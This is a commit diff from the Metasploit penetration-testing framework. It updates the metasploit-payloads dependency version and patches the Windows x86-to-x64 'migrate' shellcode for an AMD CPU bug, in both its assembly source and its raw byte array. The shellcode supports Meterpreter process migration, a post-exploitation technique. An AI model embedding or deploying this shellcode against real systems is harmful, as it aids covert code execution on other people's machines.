File tree Expand file tree Collapse file tree 4 files changed +13
-7
lines changed
shellcode/windows/x86/src/migrate Expand file tree Collapse file tree 4 files changed +13
-7
lines changed Original file line number Diff line number Diff line change 15
15
metasploit-concern
16
16
metasploit-credential
17
17
metasploit-model
18
- metasploit-payloads (= 1.2.29 )
18
+ metasploit-payloads (= 1.2.32 )
19
19
metasploit_data_models
20
20
metasploit_payloads-mettle (= 0.1.9 )
21
21
msgpack
195
195
activemodel (~> 4.2.6 )
196
196
activesupport (~> 4.2.6 )
197
197
railties (~> 4.2.6 )
198
- metasploit-payloads (1.2.29 )
198
+ metasploit-payloads (1.2.32 )
199
199
metasploit_data_models (2.0.14 )
200
200
activerecord (~> 4.2.6 )
201
201
activesupport (~> 4.2.6 )
Original file line number Diff line number Diff line change 40
40
41
41
call go_all_native ; perform the transition into native x64 and return here when done.
42
42
43
+ mov ax , ds ; fixes an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484
44
+ mov ss , ax ; found and fixed by ReWolf, incorporated by RaMMicHaeL
45
+
43
46
add esp , ( 8 + 4 + 8 ) ; remove the 8 bytes we allocated + the return address which was never popped off + the qword pushed from native_x64
44
47
pop edi ; restore the clobbered registers
45
48
pop esi ;
Original file line number Diff line number Diff line change 12
12
#endif
13
13
14
14
// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
15
+ // 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484
16
+ // found and fixed by ReWolf, incorporated by RaMMicHaeL
15
17
BYTE migrate_executex64 [] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
16
- "\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
17
- "\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
18
- "\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
19
- "\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24" ;
18
+ "\x58\x83\xC0\x2B\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
19
+ "\x89\x02\xE8\x0F\x00\x00\x00\x66\x8C\xD8\x66\x8E\xD0\x83\xC4\x14"
20
+ "\x5F\x5E\x5D\xC2\x08\x00\x8B\x3C\xE4\xFF\x2A\x48\x31\xC0\x57\xFF"
21
+ "\xD6\x5F\x50\xC7\x44\x24\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C"
22
+ "\x24" ;
20
23
21
24
// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm'
22
25
BYTE migrate_wownativex [] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
Original file line number Diff line number Diff line change @@ -68,7 +68,7 @@ Gem::Specification.new do |spec|
68
68
# are needed when there's no database
69
69
spec . add_runtime_dependency 'metasploit-model'
70
70
# Needed for Meterpreter
71
- spec . add_runtime_dependency 'metasploit-payloads' , '1.2.29 '
71
+ spec . add_runtime_dependency 'metasploit-payloads' , '1.2.32 '
72
72
# Needed for the next-generation POSIX Meterpreter
73
73
spec . add_runtime_dependency 'metasploit_payloads-mettle' , '0.1.9'
74
74
# Needed by msfgui and other rpc components
You can’t perform that action at this time.
0 commit comments